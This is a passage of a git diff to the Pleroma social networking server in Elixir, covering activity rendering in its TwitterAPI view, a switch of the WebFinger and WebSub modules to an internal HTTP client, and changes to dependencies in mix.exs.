	def render("activity.json", %{activity: %{data: %{"type" => "Delete"}} = activity} = opts) do
	user = get_user(activity.data["actor"], opts)
	created_at = activity.data["published"] \|> Utils.date_to_asctime()

	%{
	"id" => activity.id,
	"uri" => activity.data["object"],
	"user" => UserView.render("show.json", %{user: user, for: opts[:for]}),
	"attentions" => [],
	"statusnet_html" => "deleted notice {{tag",
	"text" => "deleted notice {{tag",
	"is_local" => activity.local,
	"is_post_verb" => false,
	"created_at" => created_at,
	"in_reply_to_status_id" => nil,
	"external_url" => activity.data["id"],
	"activity_type" => "delete"
	}
	end

	def render("activity.json", %{activity: %{data: %{"type" => "Follow"}} = activity} = opts) do
	user = get_user(activity.data["actor"], opts)
	created_at = activity.data["published"] \|\| DateTime.to_iso8601(activity.inserted_at)
	created_at = created_at \|> Utils.date_to_asctime()

	followed = get_user(activity.data["object"], opts)
	text = "#{user.nickname} started following #{followed.nickname}"

	%{
	"id" => activity.id,
	"user" => UserView.render("show.json", %{user: user, for: opts[:for]}),
	"attentions" => [],
	"statusnet_html" => text,
	"text" => text,
	"is_local" => activity.local,
	"is_post_verb" => false,
	"created_at" => created_at,
	"in_reply_to_status_id" => nil,
	"external_url" => activity.data["id"],
	"activity_type" => "follow"
	}
	end

	def render("activity.json", %{activity: %{data: %{"type" => "Announce"}} = activity} = opts) do
	user = get_user(activity.data["actor"], opts)
	created_at = activity.data["published"] \|> Utils.date_to_asctime()
	announced_activity = Activity.get_create_by_object_ap_id(activity.data["object"])

	text = "#{user.nickname} repeated a status."

	retweeted_status = render("activity.json", Map.merge(opts, %{activity: announced_activity}))

	%{
	"id" => activity.id,
	"user" => UserView.render("show.json", %{user: user, for: opts[:for]}),
	"statusnet_html" => text,
	"text" => text,
	"is_local" => activity.local,
	"is_post_verb" => false,
	"uri" => "tag:#{activity.data["id"]}:objectType=note",
	"created_at" => created_at,
	"retweeted_status" => retweeted_status,
	"statusnet_conversation_id" => get_context_id(announced_activity, opts),
	"external_url" => activity.data["id"],
	"activity_type" => "repeat"
	}
	end

	def render("activity.json", %{activity: %{data: %{"type" => "Like"}} = activity} = opts) do
	user = get_user(activity.data["actor"], opts)
	liked_activity = Activity.get_create_by_object_ap_id(activity.data["object"])
	liked_activity_id = if liked_activity, do: liked_activity.id, else: nil

	created_at =
	activity.data["published"]
	\|> Utils.date_to_asctime()

	text = "#{user.nickname} favorited a status."

	favorited_status =
	if liked_activity,
	do: render("activity.json", Map.merge(opts, %{activity: liked_activity})),
	else: nil

	%{
	"id" => activity.id,
	"user" => UserView.render("show.json", %{user: user, for: opts[:for]}),
	"statusnet_html" => text,
	"text" => text,
	"is_local" => activity.local,
	"is_post_verb" => false,
	"uri" => "tag:#{activity.data["id"]}:objectType=Favourite",
	"created_at" => created_at,
	"favorited_status" => favorited_status,
	"in_reply_to_status_id" => liked_activity_id,
	"external_url" => activity.data["id"],
	"activity_type" => "like"
	}
	end

	def render(
	"activity.json",
	%{activity: %{data: %{"type" => "Create", "object" => object_id}} = activity} = opts
	) do
	user = get_user(activity.data["actor"], opts)

	object = Object.normalize(object_id)

	created_at = object.data["published"] \|> Utils.date_to_asctime()
	like_count = object.data["like_count"] \|\| 0
	announcement_count = object.data["announcement_count"] \|\| 0
	favorited = opts[:for] && opts[:for].ap_id in (object.data["likes"] \|\| [])
	repeated = opts[:for] && opts[:for].ap_id in (object.data["announcements"] \|\| [])
	pinned = activity.id in user.info.pinned_activities

	attentions =
	[]
	\|> Utils.maybe_notify_to_recipients(activity)
	\|> Utils.maybe_notify_mentioned_recipients(activity)
	\|> Enum.map(fn ap_id -> get_user(ap_id, opts) end)
	\|> Enum.filter(& &1)
	\|> Enum.map(fn user -> UserView.render("show.json", %{user: user, for: opts[:for]}) end)

	conversation_id = get_context_id(activity, opts)

	tags = object.data["tag"] \|\| []
	possibly_sensitive = object.data["sensitive"] \|\| Enum.member?(tags, "nsfw")

	tags = if possibly_sensitive, do: Enum.uniq(["nsfw" \| tags]), else: tags

	{summary, content} = render_content(object.data)

	html =
	content
	\|> HTML.get_cached_scrubbed_html_for_activity(
	User.html_filter_policy(opts[:for]),
	activity,
	"twitterapi:content"
	)
	\|> Formatter.emojify(object.data["emoji"])

	text =
	if content do
	content
	\|> String.replace(~r/<br\s?\/?>/, "\n")
	\|> HTML.get_cached_stripped_html_for_activity(activity, "twitterapi:content")
	else
	""
	end

	reply_parent = Activity.get_in_reply_to_activity(activity)

	reply_user = reply_parent && User.get_cached_by_ap_id(reply_parent.actor)

	summary = HTML.strip_tags(summary)

	card =
	StatusView.render(
	"card.json",
	Pleroma.Web.RichMedia.Helpers.fetch_data_for_activity(activity)
	)

	+ thread_muted? =
	+ case activity.thread_muted? do
	+ thread_muted? when is_boolean(thread_muted?) -> thread_muted?
	+ nil -> CommonAPI.thread_muted?(user, activity)
	+ end
	+
	%{
	"id" => activity.id,
	"uri" => object.data["id"],
	"user" => UserView.render("show.json", %{user: user, for: opts[:for]}),
	"statusnet_html" => html,
	"text" => text,
	"is_local" => activity.local,
	"is_post_verb" => true,
	"created_at" => created_at,
	"in_reply_to_status_id" => reply_parent && reply_parent.id,
	"in_reply_to_screen_name" => reply_user && reply_user.nickname,
	"in_reply_to_profileurl" => User.profile_url(reply_user),
	"in_reply_to_ostatus_uri" => reply_user && reply_user.ap_id,
	"in_reply_to_user_id" => reply_user && reply_user.id,
	"statusnet_conversation_id" => conversation_id,
	"attachments" => (object.data["attachment"] \|\| []) \|> ObjectRepresenter.enum_to_list(opts),
	"attentions" => attentions,
	"fave_num" => like_count,
	"repeat_num" => announcement_count,
	"favorited" => !!favorited,
	"repeated" => !!repeated,
	"pinned" => pinned,
	"external_url" => object.data["external_url"] \|\| object.data["id"],
	"tags" => tags,
	"activity_type" => "post",
	"possibly_sensitive" => possibly_sensitive,
	"visibility" => Pleroma.Web.ActivityPub.Visibility.get_visibility(object),
	"summary" => summary,
	"summary_html" => summary \|> Formatter.emojify(object.data["emoji"]),
	"card" => card,
	- "muted" => CommonAPI.thread_muted?(user, activity) \|\| User.mutes?(opts[:for], user)
	+ "muted" => thread_muted? \|\| User.mutes?(opts[:for], user)
	}
	end

	def render("activity.json", %{activity: unhandled_activity}) do
	Logger.warn("#{__MODULE__} unhandled activity: #{inspect(unhandled_activity)}")
	nil
	end

	def render_content(%{"type" => "Note"} = object) do
	summary = object["summary"]

	content =
	if !!summary and summary != "" do
	"<p>#{summary}</p>#{object["content"]}"
	else
	object["content"]
	end

	{summary, content}
	end

	def render_content(%{"type" => object_type} = object)
	when object_type in ["Article", "Page", "Video"] do
	summary = object["name"] \|\| object["summary"]

	content =
	if !!summary and summary != "" and is_bitstring(object["url"]) do
	"<p><a href=\"#{object["url"]}\">#{summary}</a></p>#{object["content"]}"
	else
	object["content"]
	end

	{summary, content}
	end

	def render_content(object) do
	summary = object["summary"] \|\| "Unhandled activity type: #{object["type"]}"
	content = "<p>#{summary}</p>#{object["content"]}"

	{summary, content}
	end
	end
	diff --git a/lib/pleroma/web/web_finger/web_finger.ex b/lib/pleroma/web/web_finger/web_finger.ex
	index 1239b962a..3fca72de8 100644
	--- a/lib/pleroma/web/web_finger/web_finger.ex
	+++ b/lib/pleroma/web/web_finger/web_finger.ex
	@@ -1,257 +1,234 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.WebFinger do
	- @httpoison Application.get_env(:pleroma, :httpoison)
	-
	+ alias Pleroma.HTTP
	alias Pleroma.User
	alias Pleroma.Web
	alias Pleroma.Web.Federator.Publisher
	- alias Pleroma.Web.Salmon
	alias Pleroma.Web.XML
	alias Pleroma.XmlBuilder
	require Jason
	require Logger

	def host_meta do
	base_url = Web.base_url()

	{
	:XRD,
	%{xmlns: "http://docs.oasis-open.org/ns/xri/xrd-1.0"},
	{
	:Link,
	%{
	rel: "lrdd",
	type: "application/xrd+xml",
	template: "#{base_url}/.well-known/webfinger?resource={uri}"
	}
	}
	}
	\|> XmlBuilder.to_doc()
	end

	def webfinger(resource, fmt) when fmt in ["XML", "JSON"] do
	host = Pleroma.Web.Endpoint.host()
	regex = ~r/(acct:)?(?<username>\w+)@#{host}/

	with %{"username" => username} <- Regex.named_captures(regex, resource),
	%User{} = user <- User.get_cached_by_nickname(username) do
	{:ok, represent_user(user, fmt)}
	else
	_e ->
	with %User{} = user <- User.get_cached_by_ap_id(resource) do
	{:ok, represent_user(user, fmt)}
	else
	_e ->
	{:error, "Couldn't find user"}
	end
	end
	end

	defp gather_links(%User{} = user) do
	[
	%{
	"rel" => "http://webfinger.net/rel/profile-page",
	"type" => "text/html",
	"href" => user.ap_id
	}
	] ++ Publisher.gather_webfinger_links(user)
	end

	def represent_user(user, "JSON") do
	- {:ok, user} = ensure_keys_present(user)
	+ {:ok, user} = User.ensure_keys_present(user)

	%{
	"subject" => "acct:#{user.nickname}@#{Pleroma.Web.Endpoint.host()}",
	"aliases" => [user.ap_id],
	"links" => gather_links(user)
	}
	end

	def represent_user(user, "XML") do
	- {:ok, user} = ensure_keys_present(user)
	+ {:ok, user} = User.ensure_keys_present(user)

	links =
	gather_links(user)
	\|> Enum.map(fn link -> {:Link, link} end)

	{
	:XRD,
	%{xmlns: "http://docs.oasis-open.org/ns/xri/xrd-1.0"},
	[
	{:Subject, "acct:#{user.nickname}@#{Pleroma.Web.Endpoint.host()}"},
	{:Alias, user.ap_id}
	] ++ links
	}
	\|> XmlBuilder.to_doc()
	end

	- # This seems a better fit in Salmon
	- def ensure_keys_present(user) do
	- info = user.info
	-
	- if info.keys do
	- {:ok, user}
	- else
	- {:ok, pem} = Salmon.generate_rsa_pem()
	-
	- info_cng =
	- info
	- \|> User.Info.set_keys(pem)
	-
	- cng =
	- Ecto.Changeset.change(user)
	- \|> Ecto.Changeset.put_embed(:info, info_cng)
	-
	- User.update_and_set_cache(cng)
	- end
	- end
	-
	defp get_magic_key(magic_key) do
	"data:application/magic-public-key," <> magic_key = magic_key
	{:ok, magic_key}
	rescue
	MatchError -> {:error, "Missing magic key data."}
	end

	defp webfinger_from_xml(doc) do
	with magic_key <- XML.string_from_xpath(~s{//Link[@rel="magic-public-key"]/@href}, doc),
	{:ok, magic_key} <- get_magic_key(magic_key),
	topic <-
	XML.string_from_xpath(
	~s{//Link[@rel="http://schemas.google.com/g/2010#updates-from"]/@href},
	doc
	),
	subject <- XML.string_from_xpath("//Subject", doc),
	salmon <- XML.string_from_xpath(~s{//Link[@rel="salmon"]/@href}, doc),
	subscribe_address <-
	XML.string_from_xpath(
	~s{//Link[@rel="http://ostatus.org/schema/1.0/subscribe"]/@template},
	doc
	),
	ap_id <-
	XML.string_from_xpath(
	~s{//Link[@rel="self" and @type="application/activity+json"]/@href},
	doc
	) do
	data = %{
	"magic_key" => magic_key,
	"topic" => topic,
	"subject" => subject,
	"salmon" => salmon,
	"subscribe_address" => subscribe_address,
	"ap_id" => ap_id
	}

	{:ok, data}
	else
	{:error, e} ->
	{:error, e}

	e ->
	{:error, e}
	end
	end

	defp webfinger_from_json(doc) do
	data =
	Enum.reduce(doc["links"], %{"subject" => doc["subject"]}, fn link, data ->
	case {link["type"], link["rel"]} do
	{"application/activity+json", "self"} ->
	Map.put(data, "ap_id", link["href"])

	{"application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\"", "self"} ->
	Map.put(data, "ap_id", link["href"])

	{_, "magic-public-key"} ->
	"data:application/magic-public-key," <> magic_key = link["href"]
	Map.put(data, "magic_key", magic_key)

	{"application/atom+xml", "http://schemas.google.com/g/2010#updates-from"} ->
	Map.put(data, "topic", link["href"])

	{_, "salmon"} ->
	Map.put(data, "salmon", link["href"])

	{_, "http://ostatus.org/schema/1.0/subscribe"} ->
	Map.put(data, "subscribe_address", link["template"])

	_ ->
	Logger.debug("Unhandled type: #{inspect(link["type"])}")
	data
	end
	end)

	{:ok, data}
	end

	def get_template_from_xml(body) do
	xpath = "//Link[@rel='lrdd']/@template"

	with doc when doc != :error <- XML.parse_document(body),
	template when template != nil <- XML.string_from_xpath(xpath, doc) do
	{:ok, template}
	end
	end

	def find_lrdd_template(domain) do
	with {:ok, %{status: status, body: body}} when status in 200..299 <-
	- @httpoison.get("http://#{domain}/.well-known/host-meta", []) do
	+ HTTP.get("http://#{domain}/.well-known/host-meta", []) do
	get_template_from_xml(body)
	else
	_ ->
	- with {:ok, %{body: body}} <- @httpoison.get("https://#{domain}/.well-known/host-meta", []) do
	+ with {:ok, %{body: body}} <- HTTP.get("https://#{domain}/.well-known/host-meta", []) do
	get_template_from_xml(body)
	else
	e -> {:error, "Can't find LRDD template: #{inspect(e)}"}
	end
	end
	end

	def finger(account) do
	account = String.trim_leading(account, "@")

	domain =
	with [_name, domain] <- String.split(account, "@") do
	domain
	else
	_e ->
	URI.parse(account).host
	end

	address =
	case find_lrdd_template(domain) do
	{:ok, template} ->
	String.replace(template, "{uri}", URI.encode(account))

	_ ->
	"https://#{domain}/.well-known/webfinger?resource=acct:#{account}"
	end

	with response <-
	- @httpoison.get(
	+ HTTP.get(
	address,
	Accept: "application/xrd+xml,application/jrd+json"
	),
	{:ok, %{status: status, body: body}} when status in 200..299 <- response do
	doc = XML.parse_document(body)

	if doc != :error do
	webfinger_from_xml(doc)
	else
	with {:ok, doc} <- Jason.decode(body) do
	webfinger_from_json(doc)
	else
	{:error, e} -> e
	end
	end
	else
	e ->
	Logger.debug(fn -> "Couldn't finger #{account}" end)
	Logger.debug(fn -> inspect(e) end)
	{:error, e}
	end
	end
	end
	diff --git a/lib/pleroma/web/websub/websub.ex b/lib/pleroma/web/websub/websub.ex
	index 7ad0414ab..b61f388b8 100644
	--- a/lib/pleroma/web/websub/websub.ex
	+++ b/lib/pleroma/web/websub/websub.ex
	@@ -1,333 +1,332 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.Websub do
	alias Ecto.Changeset
	alias Pleroma.Activity
	+ alias Pleroma.HTTP
	alias Pleroma.Instances
	alias Pleroma.Repo
	alias Pleroma.User
	alias Pleroma.Web.ActivityPub.Visibility
	alias Pleroma.Web.Endpoint
	alias Pleroma.Web.Federator
	alias Pleroma.Web.Federator.Publisher
	alias Pleroma.Web.OStatus
	alias Pleroma.Web.OStatus.FeedRepresenter
	alias Pleroma.Web.Router.Helpers
	alias Pleroma.Web.Websub.WebsubClientSubscription
	alias Pleroma.Web.Websub.WebsubServerSubscription
	alias Pleroma.Web.XML
	require Logger

	import Ecto.Query

	@behaviour Pleroma.Web.Federator.Publisher

	- @httpoison Application.get_env(:pleroma, :httpoison)
	-
	- def verify(subscription, getter \\ &@httpoison.get/3) do
	+ def verify(subscription, getter \\ &HTTP.get/3) do
	challenge = Base.encode16(:crypto.strong_rand_bytes(8))
	lease_seconds = NaiveDateTime.diff(subscription.valid_until, subscription.updated_at)
	lease_seconds = lease_seconds \|> to_string

	params = %{
	"hub.challenge": challenge,
	"hub.lease_seconds": lease_seconds,
	"hub.topic": subscription.topic,
	"hub.mode": "subscribe"
	}

	url = hd(String.split(subscription.callback, "?"))
	query = URI.parse(subscription.callback).query \|\| ""
	params = Map.merge(params, URI.decode_query(query))

	with {:ok, response} <- getter.(url, [], params: params),
	^challenge <- response.body do
	changeset = Changeset.change(subscription, %{state: "active"})
	Repo.update(changeset)
	else
	e ->
	Logger.debug("Couldn't verify subscription")
	Logger.debug(inspect(e))
	{:error, subscription}
	end
	end

	@supported_activities [
	"Create",
	"Follow",
	"Like",
	"Announce",
	"Undo",
	"Delete"
	]

	def is_representable?(%Activity{data: %{"type" => type}} = activity)
	when type in @supported_activities,
	do: Visibility.is_public?(activity)

	def is_representable?(_), do: false

	def publish(topic, user, %{data: %{"type" => type}} = activity)
	when type in @supported_activities do
	response =
	user
	\|> FeedRepresenter.to_simple_form([activity], [user])
	\|> :xmerl.export_simple(:xmerl_xml)
	\|> to_string

	query =
	from(
	sub in WebsubServerSubscription,
	where: sub.topic == ^topic and sub.state == "active",
	where: fragment("? > (NOW() at time zone 'UTC')", sub.valid_until)
	)

	subscriptions = Repo.all(query)

	callbacks = Enum.map(subscriptions, & &1.callback)
	reachable_callbacks_metadata = Instances.filter_reachable(callbacks)
	reachable_callbacks = Map.keys(reachable_callbacks_metadata)

	subscriptions
	\|> Enum.filter(&(&1.callback in reachable_callbacks))
	\|> Enum.each(fn sub ->
	data = %{
	xml: response,
	topic: topic,
	callback: sub.callback,
	secret: sub.secret,
	unreachable_since: reachable_callbacks_metadata[sub.callback]
	}

	Publisher.enqueue_one(__MODULE__, data)
	end)
	end

	def publish(_, _, _), do: ""

	def publish(actor, activity), do: publish(Pleroma.Web.OStatus.feed_path(actor), actor, activity)

	def sign(secret, doc) do
	:crypto.hmac(:sha, secret, to_string(doc)) \|> Base.encode16() \|> String.downcase()
	end

	def incoming_subscription_request(user, %{"hub.mode" => "subscribe"} = params) do
	with {:ok, topic} <- valid_topic(params, user),
	{:ok, lease_time} <- lease_time(params),
	secret <- params["hub.secret"],
	callback <- params["hub.callback"] do
	subscription = get_subscription(topic, callback)

	data = %{
	state: subscription.state \|\| "requested",
	topic: topic,
	secret: secret,
	callback: callback
	}

	change = Changeset.change(subscription, data)
	websub = Repo.insert_or_update!(change)

	change =
	Changeset.change(websub, %{valid_until: NaiveDateTime.add(websub.updated_at, lease_time)})

	websub = Repo.update!(change)

	Federator.verify_websub(websub)

	{:ok, websub}
	else
	{:error, reason} ->
	Logger.debug("Couldn't create subscription")
	Logger.debug(inspect(reason))

	{:error, reason}
	end
	end

	def incoming_subscription_request(user, params) do
	Logger.info("Unhandled WebSub request for #{user.nickname}: #{inspect(params)}")

	{:error, "Invalid WebSub request"}
	end

	defp get_subscription(topic, callback) do
	Repo.get_by(WebsubServerSubscription, topic: topic, callback: callback) \|\|
	%WebsubServerSubscription{}
	end

	# Temp hack for mastodon.
	defp lease_time(%{"hub.lease_seconds" => ""}) do
	# three days
	{:ok, 60 * 60 * 24 * 3}
	end

	defp lease_time(%{"hub.lease_seconds" => lease_seconds}) do
	{:ok, String.to_integer(lease_seconds)}
	end

	defp lease_time(_) do
	# three days
	{:ok, 60 * 60 * 24 * 3}
	end

	defp valid_topic(%{"hub.topic" => topic}, user) do
	if topic == OStatus.feed_path(user) do
	{:ok, OStatus.feed_path(user)}
	else
	{:error, "Wrong topic requested, expected #{OStatus.feed_path(user)}, got #{topic}"}
	end
	end

	def subscribe(subscriber, subscribed, requester \\ &request_subscription/1) do
	topic = subscribed.info.topic
	# FIXME: Race condition, use transactions
	{:ok, subscription} =
	with subscription when not is_nil(subscription) <-
	Repo.get_by(WebsubClientSubscription, topic: topic) do
	subscribers = [subscriber.ap_id \| subscription.subscribers] \|> Enum.uniq()
	change = Ecto.Changeset.change(subscription, %{subscribers: subscribers})
	Repo.update(change)
	else
	_e ->
	subscription = %WebsubClientSubscription{
	topic: topic,
	hub: subscribed.info.hub,
	subscribers: [subscriber.ap_id],
	state: "requested",
	secret: :crypto.strong_rand_bytes(8) \|> Base.url_encode64(),
	user: subscribed
	}

	Repo.insert(subscription)
	end

	requester.(subscription)
	end

	- def gather_feed_data(topic, getter \\ &@httpoison.get/1) do
	+ def gather_feed_data(topic, getter \\ &HTTP.get/1) do
	with {:ok, response} <- getter.(topic),
	status when status in 200..299 <- response.status,
	body <- response.body,
	doc <- XML.parse_document(body),
	uri when not is_nil(uri) <- XML.string_from_xpath("/feed/author[1]/uri", doc),
	hub when not is_nil(hub) <- XML.string_from_xpath(~S{/feed/link[@rel="hub"]/@href}, doc) do
	name = XML.string_from_xpath("/feed/author[1]/name", doc)
	preferred_username = XML.string_from_xpath("/feed/author[1]/poco:preferredUsername", doc)
	display_name = XML.string_from_xpath("/feed/author[1]/poco:displayName", doc)
	avatar = OStatus.make_avatar_object(doc)
	bio = XML.string_from_xpath("/feed/author[1]/summary", doc)

	{:ok,
	%{
	"uri" => uri,
	"hub" => hub,
	"nickname" => preferred_username \|\| name,
	"name" => display_name \|\| name,
	"host" => URI.parse(uri).host,
	"avatar" => avatar,
	"bio" => bio
	}}
	else
	e ->
	{:error, e}
	end
	end

	- def request_subscription(websub, poster \\ &@httpoison.post/3, timeout \\ 10_000) do
	+ def request_subscription(websub, poster \\ &HTTP.post/3, timeout \\ 10_000) do
	data = [
	"hub.mode": "subscribe",
	"hub.topic": websub.topic,
	"hub.secret": websub.secret,
	"hub.callback": Helpers.websub_url(Endpoint, :websub_subscription_confirmation, websub.id)
	]

	# This checks once a second if we are confirmed yet
	websub_checker = fn ->
	helper = fn helper ->
	:timer.sleep(1000)
	websub = Repo.get_by(WebsubClientSubscription, id: websub.id, state: "accepted")
	if websub, do: websub, else: helper.(helper)
	end

	helper.(helper)
	end

	task = Task.async(websub_checker)

	with {:ok, %{status: 202}} <-
	poster.(websub.hub, {:form, data}, "Content-type": "application/x-www-form-urlencoded"),
	{:ok, websub} <- Task.yield(task, timeout) do
	{:ok, websub}
	else
	e ->
	Task.shutdown(task)

	change = Ecto.Changeset.change(websub, %{state: "rejected"})
	{:ok, websub} = Repo.update(change)

	Logger.debug(fn -> "Couldn't confirm subscription: #{inspect(websub)}" end)
	Logger.debug(fn -> "error: #{inspect(e)}" end)

	{:error, websub}
	end
	end

	def refresh_subscriptions(delta \\ 60 * 60 * 24) do
	Logger.debug("Refreshing subscriptions")

	cut_off = NaiveDateTime.add(NaiveDateTime.utc_now(), delta)

	query = from(sub in WebsubClientSubscription, where: sub.valid_until < ^cut_off)

	subs = Repo.all(query)

	Enum.each(subs, fn sub ->
	Federator.request_subscription(sub)
	end)
	end

	def publish_one(%{xml: xml, topic: topic, callback: callback, secret: secret} = params) do
	signature = sign(secret \|\| "", xml)
	Logger.info(fn -> "Pushing #{topic} to #{callback}" end)

	with {:ok, %{status: code}} when code in 200..299 <-
	- @httpoison.post(
	+ HTTP.post(
	callback,
	xml,
	[
	{"Content-Type", "application/atom+xml"},
	{"X-Hub-Signature", "sha1=#{signature}"}
	]
	) do
	if !Map.has_key?(params, :unreachable_since) \|\| params[:unreachable_since],
	do: Instances.set_reachable(callback)

	Logger.info(fn -> "Pushed to #{callback}, code #{code}" end)
	{:ok, code}
	else
	{_post_result, response} ->
	unless params[:unreachable_since], do: Instances.set_reachable(callback)
	Logger.debug(fn -> "Couldn't push to #{callback}, #{inspect(response)}" end)
	{:error, response}
	end
	end

	def gather_webfinger_links(%User{} = user) do
	[
	%{
	"rel" => "http://schemas.google.com/g/2010#updates-from",
	"type" => "application/atom+xml",
	"href" => OStatus.feed_path(user)
	},
	%{
	"rel" => "http://ostatus.org/schema/1.0/subscribe",
	"template" => OStatus.remote_follow_path()
	}
	]
	end

	def gather_nodeinfo_protocol_names, do: ["ostatus"]
	end
	diff --git a/mix.exs b/mix.exs
	index 95c052c34..b2017ef9b 100644
	--- a/mix.exs
	+++ b/mix.exs
	@@ -1,190 +1,187 @@
	defmodule Pleroma.Mixfile do
	use Mix.Project

	def project do
	[
	app: :pleroma,
	version: version("0.9.0"),
	elixir: "~> 1.7",
	elixirc_paths: elixirc_paths(Mix.env()),
	compilers: [:phoenix, :gettext] ++ Mix.compilers(),
	elixirc_options: [warnings_as_errors: true],
	xref: [exclude: [:eldap]],
	start_permanent: Mix.env() == :prod,
	aliases: aliases(),
	deps: deps(),
	test_coverage: [tool: ExCoveralls],

	# Docs
	name: "Pleroma",
	homepage_url: "https://pleroma.social/",
	source_url: "https://git.pleroma.social/pleroma/pleroma",
	docs: [
	source_url_pattern:
	"https://git.pleroma.social/pleroma/pleroma/blob/develop/%{path}#L%{line}",
	logo: "priv/static/static/logo.png",
	extras: ["README.md", "CHANGELOG.md"] ++ Path.wildcard("docs/*/.md"),
	groups_for_extras: [
	"Installation manuals": Path.wildcard("docs/installation/*.md"),
	Configuration: Path.wildcard("docs/config/*.md"),
	Administration: Path.wildcard("docs/admin/*.md"),
	"Pleroma's APIs and Mastodon API extensions": Path.wildcard("docs/api/*.md")
	],
	main: "readme",
	output: "priv/static/doc"
	]
	]
	end

	# Configuration for the OTP application.
	#
	# Type `mix help compile.app` for more information.
	def application do
	[
	mod: {Pleroma.Application, []},
	- extra_applications: [:logger, :runtime_tools, :comeonin, :esshd, :quack],
	+ extra_applications: [:logger, :runtime_tools, :comeonin, :quack],
	included_applications: [:ex_syslogger]
	]
	end

	# Specifies which paths to compile per environment.
	defp elixirc_paths(:test), do: ["lib", "test/support"]
	defp elixirc_paths(_), do: ["lib"]

	# Specifies your project dependencies.
	#
	# Type `mix help deps` for examples and options.
	defp deps do
	oauth_strategies = String.split(System.get_env("OAUTH_CONSUMER_STRATEGIES") \|\| "")

	oauth_deps =
	for s <- oauth_strategies,
	do: {String.to_atom("ueberauth_#{s}"), ">= 0.0.0"}

	[
	{:phoenix, "~> 1.4.1"},
	{:plug_cowboy, "~> 2.0"},
	{:phoenix_pubsub, "~> 1.1"},
	{:phoenix_ecto, "~> 4.0"},
	- {:ecto_sql,
	- git: "https://github.com/elixir-ecto/ecto_sql",
	- ref: "14cb065a74c488d737d973f7a91bc036c6245f78",
	- override: true},
	+ {:ecto_sql, "~> 3.1"},
	{:postgrex, ">= 0.13.5"},
	{:gettext, "~> 0.15"},
	{:comeonin, "~> 4.1.1"},
	{:pbkdf2_elixir, "~> 0.12.3"},
	{:trailing_format_plug, "~> 0.0.7"},
	{:html_sanitize_ex, "~> 1.3.0"},
	{:html_entities, "~> 0.4"},
	{:phoenix_html, "~> 2.10"},
	{:calendar, "~> 0.17.4"},
	{:cachex, "~> 3.0.2"},
	{:httpoison, "~> 1.2.0"},
	{:poison, "~> 3.0", override: true},
	{:tesla, "~> 1.2"},
	{:jason, "~> 1.0"},
	{:mogrify, "~> 0.6.1"},
	{:ex_aws, "~> 2.0"},
	{:ex_aws_s3, "~> 2.0"},
	{:earmark, "~> 1.3"},
	{:bbcode, "~> 0.1"},
	{:ex_machina, "~> 2.3", only: :test},
	{:credo, "~> 0.9.3", only: [:dev, :test]},
	{:mock, "~> 0.3.3", only: :test},
	{:crypt,
	git: "https://github.com/msantos/crypt", ref: "1f2b58927ab57e72910191a7ebaeff984382a1d3"},
	{:cors_plug, "~> 1.5"},
	{:ex_doc, "~> 0.20.2", only: :dev, runtime: false},
	{:web_push_encryption, "~> 0.2.1"},
	{:swoosh, "~> 0.20"},
	{:gen_smtp, "~> 0.13"},
	{:websocket_client, git: "https://github.com/jeremyong/websocket_client.git", only: :test},
	{:floki, "~> 0.20.0"},
	{:ex_syslogger, github: "slashmili/ex_syslogger", tag: "1.4.0"},
	{:timex, "~> 3.5"},
	{:ueberauth, "~> 0.4"},
	{:auto_linker,
	git: "https://git.pleroma.social/pleroma/auto_linker.git",
	ref: "c00c4e75b35367fa42c95ffd9b8c455bf9995829"},
	{:http_signatures,
	git: "https://git.pleroma.social/pleroma/http_signatures.git",
	ref: "9789401987096ead65646b52b5a2ca6bf52fc531"},
	{:pleroma_job_queue, "~> 0.2.0"},
	{:telemetry, "~> 0.3"},
	{:prometheus_ex, "~> 3.0"},
	{:prometheus_plugs, "~> 1.1"},
	{:prometheus_phoenix, "~> 1.2"},
	{:prometheus_ecto, "~> 1.4"},
	{:prometheus_process_collector, "~> 1.4"},
	{:recon, github: "ferd/recon", tag: "2.4.0"},
	{:quack, "~> 0.1.1"},
	{:benchee, "~> 1.0"},
	- {:esshd, "~> 0.1.0"},
	+ {:esshd, "~> 0.1.0", runtime: Application.get_env(:esshd, :enabled, false)},
	{:ex_rated, "~> 1.2"},
	{:plug_static_index_html, "~> 1.0.0"},
	{:excoveralls, "~> 0.11.1", only: :test}
	] ++ oauth_deps
	end

	# Aliases are shortcuts or tasks specific to the current project.
	# For example, to create, migrate and run the seeds file at once:
	#
	# $ mix ecto.setup
	#
	# See the documentation for `Mix` for more info on aliases.
	defp aliases do
	[
	"ecto.setup": ["ecto.create", "ecto.migrate", "run priv/repo/seeds.exs"],
	"ecto.reset": ["ecto.drop", "ecto.setup"],
	test: ["ecto.create --quiet", "ecto.migrate", "test"]
	]
	end

	# Builds a version string made of:
	# * the application version
	# * a pre-release if ahead of the tag: the describe string (-count-commithash)
	# * build info:
	# * a build name if `PLEROMA_BUILD_NAME` or `:pleroma, :build_name` is defined
	# * the mix environment if different than prod
	defp version(version) do
	{git_tag, git_pre_release} =
	with {tag, 0} <- System.cmd("git", ["describe", "--tags", "--abbrev=0"]),
	tag = String.trim(tag),
	{describe, 0} <- System.cmd("git", ["describe", "--tags", "--abbrev=8"]),
	describe = String.trim(describe),
	ahead <- String.replace(describe, tag, "") do
	{String.replace_prefix(tag, "v", ""), if(ahead != "", do: String.trim(ahead))}
	else
	_ -> {nil, nil}
	end

	if git_tag && version != git_tag do
	Mix.shell().error(
	"Application version #{inspect(version)} does not match git tag #{inspect(git_tag)}"
	)
	end

	build_name =
	cond do
	name = Application.get_env(:pleroma, :build_name) -> name
	name = System.get_env("PLEROMA_BUILD_NAME") -> name
	true -> nil
	end

	env_name = if Mix.env() != :prod, do: to_string(Mix.env())

	build =
	[build_name, env_name]
	\|> Enum.filter(fn string -> string && string != "" end)
	\|> Enum.join("-")
	\|> (fn
	"" -> nil
	string -> "+" <> string
	end).()

	[version, git_pre_release, build]
	\|> Enum.filter(fn string -> string && string != "" end)
	\|> Enum.join()
	end
	end
	diff --git a/mix.lock b/mix.lock
	index bacc09787..857bfca79 100644
	--- a/mix.lock
	+++ b/mix.lock
	@@ -1,92 +1,92 @@
	%{
